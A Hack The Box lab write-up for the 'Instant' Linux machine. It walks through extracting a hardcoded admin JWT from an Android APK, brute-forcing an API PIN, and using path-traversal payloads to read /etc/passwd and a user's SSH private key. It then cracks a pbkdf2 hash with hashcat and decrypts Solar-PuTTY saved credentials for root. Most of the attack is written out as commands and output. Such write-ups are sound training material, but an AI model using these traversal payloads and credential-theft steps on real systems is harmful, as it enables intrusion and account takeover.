> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2026-03-27

Hack The Box — Instant (Linux)

APK analysis reveals admin JWT and API routes, then IDOR/LFI to steal shirohige SSH key and password recovery through DB hash + Solar-PuTTY credential decryption for root.

Target

  • IP: 10.10.11.37

Recon

sudo nmap -sC -sV 10.10.11.37 -p- -T5 -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://instant.htb/
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add instant.htb to /etc/hosts. Go to http://instant.htb. We can download an APK.

APK Analysis

apktool d instant.apk -o test
cd test
grep -nriE 'instant.htb' .

We get these subdomains:

  • mywalletv1.instant.htb
  • swagger-ui.instant.htb

Add them to /etc/hosts.

d2j-dex2jar instant.apk

This generates a JAR. Open it with jd-gui.

We notice MainActivity is empty. In LoginActivity.java we see the virtual host mywalletv1.instant.htb.

Install Android x86 in a VM.

# In the Android VM
# CTRL+ALT+F1
ip a

Note the IP and connect/install from attacker host:

adb connect <ip>
adb install instant.apk

When opening the app there is a blank screen, consistent with empty MainActivity.

In adminactivity code we find:

(new OkHttpClient()).newCall((new Request.Builder()).url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() {

API Interaction

curl 'http://mywalletv1.instant.htb/api/v1/view/profile' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA'

curl 'http://mywalletv1.instant.htb/api/v1/initiate/transaction' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA'

curl -X POST 'http://mywalletv1.instant.htb/api/v1/register' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' -H 'Content-Type: application/json' -d '{"username":"test12","email":"test12@test.com","password":"test12","pin":"12345"}'

curl -X POST 'http://mywalletv1.instant.htb/api/v1/login' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' -H 'Content-Type: application/json' -d '{"username":"test12","password":"test12"}'
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjMyZDUyMjFjLWZiZDAtNDUzYi1hZTE5LTA1ZDc2NGFkMGU4YyIsImV4cCI6MTcyOTYyOTYzNX0.wwLujcj1k55_8llvNQrX3OUGIA3wH5sBQ317gfiV8b4","Status":201}
curl 'http://mywalletv1.instant.htb/api/v1/view/profile' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjMyZDUyMjFjLWZiZDAtNDUzYi1hZTE5LTA1ZDc2NGFkMGU4YyIsImV4cCI6MTcyOTYyOTYzNX0.wwLujcj1k55_8llvNQrX3OUGIA3wH5sBQ317gfiV8b4'
{"Profile":{"account_status":"active","email":"test12@test.com","invite_token":"test12_tes","role":"instantian","username":"test12","wallet_balance":"0","wallet_id":"32d5221c-fbd0-453b-ae19-05d764ad0e8c"},"Status":200}
curl -X POST 'http://mywalletv1.instant.htb/api/v1/initiate/transaction' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' -H 'Content-Type: application/json' -d '{"receiver":"32d5221c-fbd0-453b-ae19-05d764ad0e8c","amount":"3","note":"aaaaaa"}'

curl -X POST 'http://mywalletv1.instant.htb/api/v1/confirm/pin' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' -H 'Content-Type: application/json' -d '{"pin":"12345"}'

It says the PIN is wrong.

We can brute force the PIN. See attached script attachments/brute_pin.py.

python3 attachments/brute_pin.py

We get the admin PIN: 87348.

curl -X POST 'http://mywalletv1.instant.htb/api/v1/confirm/pin' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' -H 'Content-Type: application/json' -d '{"pin":"87348"}'

We get internal server error.

Go to http://swagger-ui.instant.htb/. Use Authorize with admin token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA

Try GET /api/v1/admin/list/users.

{
  "Status": 200,
  "Users": [
    {
      "email": "admin@instant.htb",
      "role": "Admin",
      "secret_pin": 87348,
      "status": "active",
      "username": "instantAdmin",
      "wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
    },
    {
      "email": "shirohige@instant.htb",
      "role": "instantian",
      "secret_pin": 42845,
      "status": "active",
      "username": "shirohige",
      "wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
    },
    {
      "email": "test12@test.com",
      "role": "instantian",
      "secret_pin": 12345,
      "status": "active",
      "username": "test12",
      "wallet_id": "32d5221c-fbd0-453b-ae19-05d764ad0e8c"
    },
    {
      "email": "a",
      "role": "instantian",
      "secret_pin": 12345,
      "status": "active",
      "username": "a",
      "wallet_id": "3b90e4ef-0648-47aa-b704-d7c5f43c66b3"
    },
    {
      "email": "b",
      "role": "instantian",
      "secret_pin": 12345,
      "status": "active",
      "username": "b",
      "wallet_id": "7b51f77e-c8ce-4476-be7c-d63f9456c108"
    }
  ]
}

So brute-forcing the PIN was not actually necessary.

Try GET /api/v1/admin/view/logs.

{
  "Files": [
    "1.log"
  ],
  "Path": "/home/shirohige/logs/",
  "Status": 201
}

Try GET /api/v1/admin/read/log with log_file_name=1.log. The request is:

http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log

Set log_file_name=../../../etc/passwd. We obtain /etc/passwd and notice user shirohige:

"shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n",

Set log_file_name=../../../home/shirohige/.ssh/id_rsa. We obtain shirohige's private key. Save it to shirohige_key.

chmod 600 shirohige_key
ssh shirohige@instant.htb -i shirohige_key

User to Root

cd projects/mywallet/Instant-Api/mywallet
cat .env
SECRET_KEY=VeryStrongS3cretKeyY0uC4NTGET
cd
cd projects/mywallet/Instant-Api/mywallet/instance
python3 -m http.server 55555

There is a file instant.db, download it from attacker machine:

wget http://instant.htb:55555/instant.db
sqlite3 instant.db
select * from wallet_users;
1|instantAdmin|admin@instant.htb|f0eca6e5-783a-471d-9d8f-0162cbc900db|pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978|2024-07-23 00:20:52.529887|87348|Admin|active
2|shirohige|shirohige@instant.htb|458715c9-b15e-467b-8a3d-97bc3fcf3c11|pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed|2024-08-08 20:57:47.909667|42845|instantian|active
3|test12|test12@test.com|32d5221c-fbd0-453b-ae19-05d764ad0e8c|pbkdf2:sha256:600000$NMZFENDHm0w1eYgz$730a058696ae5b5f30497a2be61c55d0df30ab2030ac72f2631755459adc6c9d|2024-10-22 19:37:43.261494|12345|instantian|active
4|a|a|3b90e4ef-0648-47aa-b704-d7c5f43c66b3|pbkdf2:sha256:600000$fU4qnq9SK5iFywPj$b14a3fd71cfd766ab4c8a85bdafa2280c418e25e4bcf42aef18fb669a68685d4|2024-10-22 20:01:08.467985|12345|instantian|active
5|b|b|7b51f77e-c8ce-4476-be7c-d63f9456c108|pbkdf2:sha256:600000$10fXTqcIe9VBib4P$01d66cf94a0c8aa4655f60303365342f96766c20863d10ede8a144edb25a7e99|2024-10-22 20:03:50.998760|12345|instantian|active

Useful reference:

  • https://github.com/hashcat/hashcat/issues/3205

See attached script attachments/convert_hash.py.

python3 attachments/convert_hash.py
sha256:600000:WW5SZ2puaW0=:yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=

Put it into hash and crack:

hashcat -a 0 ./hash ./rockyou.txt

We get password: estrella.

sudo -l

Enter password, but it does not work.

cat /opt/backups/Solar-PuTTY/sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=

Useful reference:

  • https://voidsec.com/solarputtydecrypt/

On a Windows machine:

  • Go to https://github.com/VoidSec/SolarPuttyDecrypt/releases
  • Download the tool.
  • Put the sessions-backup.dat content in a file, for example roba.dat.
.\SolarPuttyDecrypt.exe "C:\Users\creat\Downloads\roba.dat" "estrella"
{
  "Sessions": [
    {
      "Id": "066894ee-635c-4578-86d0-d36d4838115b",
      "Ip": "10.10.11.37",
      "Port": 22,
      "ConnectionType": 1,
      "SessionName": "Instant",
      "Authentication": 0,
      "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
      "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
      "LastTimeOpen": "0001-01-01T00:00:00",
      "OpenCounter": 1,
      "SerialLine": null,
      "Speed": 0,
      "Color": "#FF176998",
      "TelnetConnectionWaitSeconds": 1,
      "LoggingEnabled": false,
      "RemoteDirectory": ""
    }
  ],
  "Credentials": [
    {
      "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
      "CredentialsName": "instant-root",
      "Username": "root",
      "Password": "12**24nzC!r0c%q12",
      "PrivateKeyPath": "",
      "Passphrase": "",
      "PrivateKeyContent": null
    }
  ],
  "AuthScript": [],
  "Groups": [],
  "Tunnels": [],
  "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}

Switch user:

su root

Enter password 12**24nzC!r0c%q12. We get a shell as root.